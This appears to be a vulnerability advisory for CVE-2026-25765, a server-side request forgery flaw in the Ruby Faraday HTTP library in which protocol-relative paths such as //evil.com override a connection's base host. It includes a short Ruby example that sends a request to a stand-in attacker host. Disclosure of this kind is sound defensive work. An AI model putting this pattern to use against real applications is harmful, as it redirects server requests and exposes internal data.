CVE-2026-25765: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
(updated )
Faraday’s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby’s
URI#merge to combine the connection’s base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL’s host/authority component.
This means that if any application passes user-controlled input to Faraday’s get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
References
- github.com/advisories/GHSA-33mh-2634-fwr2
- github.com/lostisland/faraday
- github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc
- github.com/lostisland/faraday/pull/1569
- github.com/lostisland/faraday/releases/tag/v2.14.1
- github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
- github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml
- nvd.nist.gov/vuln/detail/CVE-2026-25765
- www.rfc-editor.org/rfc/rfc3986
- www.rfc-editor.org/rfc/rfc3986
Code Behaviors & Features
Detect and mitigate CVE-2026-25765 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →